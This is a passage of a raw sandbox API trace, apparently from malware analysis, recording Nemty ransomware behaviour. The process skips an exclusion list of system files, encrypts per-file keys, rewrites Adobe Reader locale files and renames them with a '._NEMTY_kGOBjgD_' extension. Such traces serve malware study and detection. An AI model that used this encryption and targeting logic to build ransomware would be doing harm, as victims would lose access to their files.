hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.040] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=500736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a400 [0185.040] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.042] CloseHandle (hObject=0x2e8) returned 1 [0185.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.042] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PPKLITE.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ppklite.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PPKLITE.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ppklite.tur._nemty_kgobjgd_")) returned 1 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.043] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.TUR", cAlternateFileName="")) returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2=".") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="..") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="...") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="windows") returned -1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="rsa") returned -1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="NTDETECT.COM") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="ntldr") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="MSDOS.SYS") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="IO.SYS") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="boot.ini") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="boot.ini") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="ntuser.dat") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="desktop.ini") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="CONFIG.SYS") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="RECYCLER") returned -1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="bootmgr") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="programdata") returned 1 [0185.043] lstrcmpiW (lpString1="RdLang32.TUR", lpString2="appdata") returned 1 [0185.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.044] Sleep (dwMilliseconds=0x5) [0185.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f13af0, dwHighDateTime=0x1d561e8)) [0185.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f13af0, dwHighDateTime=0x1d561e8)) [0185.045] GetLastError () returned 0x0 [0185.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.045] GetLastError () returned 0x0 [0185.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.045] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.045] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.045] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.045] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="QhDKZRJt/PdRwjgU2R49Xk2ueshnutp+ELKHDaPwnszm6apowFmuYvngfF60q+XC\r\nvE3zUzj43QfOwvu2A1pXWisRDU2KAi4K1aJqggtAznnZ9skNi9rO0FA96nuzs6Zd\r\nP4wKRIixj4weRPnmzktG8eHXdi2bQyzUEEwNHTWOAuZxqdgSk6fpyoSc3p8qRe6H\r\ndcj3wtZOQJmU9Rsfl8tNJN9P8QcelwZbw5u+UyErR9w+nEISYEtd+J78zivr6A9Y\r\nIHSQezMDMQGvZntt+jDTjtxT67Zk7Tdee7AJb18Z88s+siZmunV4PQXi3VoHOEme\r\n1q7RrmS+e5/dch+K6AleBQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\RdLang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\rdlang32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.046] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1310720) returned 1 [0185.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.046] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.046] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.056] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.056] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.057] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1310720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x140000 [0185.057] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.058] CloseHandle (hObject=0x2e8) returned 1 [0185.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.058] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\RdLang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\rdlang32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\RdLang32.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\rdlang32.tur._nemty_kgobjgd_")) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.059] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.TUR", cAlternateFileName="READOU~1.TUR")) returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2=".") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="..") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="...") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="windows") returned -1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="rsa") returned -1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="NTDETECT.COM") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="ntldr") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="MSDOS.SYS") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="IO.SYS") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="boot.ini") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="boot.ini") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="ntuser.dat") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="desktop.ini") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="CONFIG.SYS") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="RECYCLER") returned -1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="bootmgr") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="programdata") returned 1 [0185.059] lstrcmpiW (lpString1="ReadOutLoud.TUR", lpString2="appdata") returned 1 [0185.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.TUR", lpUsedDefaultChar=0x0) returned 15 [0185.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.TUR", lpUsedDefaultChar=0x0) returned 15 [0185.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.TUR", lpUsedDefaultChar=0x0) returned 15 [0185.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.TUR", lpUsedDefaultChar=0x0) returned 15 [0185.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.060] Sleep (dwMilliseconds=0x5) [0185.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f39c50, dwHighDateTime=0x1d561e8)) [0185.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f39c50, dwHighDateTime=0x1d561e8)) [0185.061] GetLastError () returned 0x0 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.061] GetLastError () returned 0x0 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.061] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.061] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Bwsd/Bp4HlVKLpCLKF0pXDq+mum1vcJnDL5EYJyCBEnMTKY2rkmLBDgDFW420oAZ\r\n7/pvFLGTcxgPk2G1t1PuVEUNfwXMuxsGxyYbotnu2ktxdMSWtYrDsp1IMBYwPz0K\r\nvpqTFdAhu+v76kpirpwQMUtImlCeZUexPk9RH8f+pGTV2X22YFAv0AY+SLwWxi3A\r\nQTTsYKoeALyLYUiP7UIr+tZELfGFcRWorGZF6WdHvU0bUj9yUPB8h/SGtiEowoBJ\r\nsUSOTCgC820J+zNAGCDFdZYNhybNIGyUPaFDB2+41YtyNcdaVmfw4igC0MF/B4dB\r\nVnddvFe8FS5diGx+1mL30Q==\r\n", pcchString=0x653e5dc) returned 1 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 